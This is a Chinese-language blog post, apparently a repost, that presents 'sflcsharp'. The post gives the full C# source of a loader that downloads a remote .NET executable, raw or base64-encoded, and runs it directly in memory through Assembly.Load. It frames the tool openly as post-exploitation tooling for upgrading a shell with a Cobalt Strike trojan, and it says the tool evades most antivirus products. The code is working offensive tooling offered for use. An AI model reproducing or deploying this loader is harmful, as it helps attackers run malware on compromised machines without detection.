CATALOG
- 前言
- 免殺效果
- 執行效果
- 代碼詳解
- 原理解釋
前言
拿到一臺主機的shell后,我們一般會想辦法“升級”shell,最常見的是上傳一個CS的木馬,這樣對我們的后滲透作業會十分方便,
代碼實作:sflcsharp
免殺效果

絕大多數都是不查殺的
執行效果
我們提前在ip為10.92.52.27的主機上傳了兩個檔案,一個為helloworld.exe,一個是此檔案的base64密文形式,此exe檔案執行效果為在命令輸出fffffff,如下圖所示:

這時候使用sflcsharp的-b引數來加載遠程的c#語言的exe檔案:

使用-b64引數來加載遠程的b64密文:

代碼詳解
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;
namespace demo1
{
class Program
{
static void Main(string[] args)
{
string fileDownloadurl = null;
string filedownloadtype = null;
byte[] filebuffer = null;
try
{
fileDownloadurl = args[1];
filedownloadtype = args[0];
}
catch
{
Console.WriteLine("\n加載遠程exe檔案到記憶體執行:sflcsharp.exe -b exe檔案的url");
Console.WriteLine("\n加載遠程base64密文檔案到記憶體執行:為sflcsharp.exe -b64 b64檔案的url");
Environment.Exit(0);
}
if (filedownloadtype == "-b")
{
filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
}
if (filedownloadtype == "-b64")
{
filebuffer = downloadbase64(fileDownloadurl);
}
if (filebuffer != null)
{
Console.WriteLine("正在將下載下來的程式加載到當前用戶的記憶體中");
Assembly assemblyinstance = Assembly.Load(filebuffer); //將下載下來的程式加載到當前用戶的記憶體中
Console.WriteLine("正在尋找程式入口點并執行程式");
assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程式的入口點并執行程式
Console.WriteLine("\n程式執行完畢");
}
}
public static byte[] Downloadbinarypefilebyhttp(string url)
{
Console.WriteLine("\n創建WebClient類用來下載PE檔案");
WebClient downloadwebclient = new WebClient(); //這個類可以從指定url上下載或者上傳資料
Console.WriteLine("\n下載檔案后自動保存為byte[]格式\n");
byte[] test = downloadwebclient.DownloadData(url);
return test;
}
public static byte[] downloadbase64(string url)
{
Console.WriteLine("\n創建WebClient類用來下載base64密文檔案,下載到的資料按照字串格式保存在記憶體");
WebClient downloadwebclient = new WebClient(); //這個類可以從指定url上下載或者上傳資料
string b64 = downloadwebclient.DownloadString(url);
Console.WriteLine("將base64字串轉換為byte[]型別的資料");
byte[] test = Convert.FromBase64String(b64);
return test;
}
}
}
原理解釋
windows的.NET框架其中有一個類為assembly類,這個類可以家在byte[]型別的資料到記憶體中并當作一個assembly檔案去執行,assembly檔案就是c#寫的dll檔案與exe檔案,然而還有函式可以將遠程的exe檔案下載到本地并用byte[]格式去保存,這兩個方式結合后就可以實作下載遠程c#檔案到記憶體中直接執行,可以繞過絕大多數殺軟,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/126613.html
標籤:其他
下一篇:微盟程式員刪庫跑路,被判刑六年!
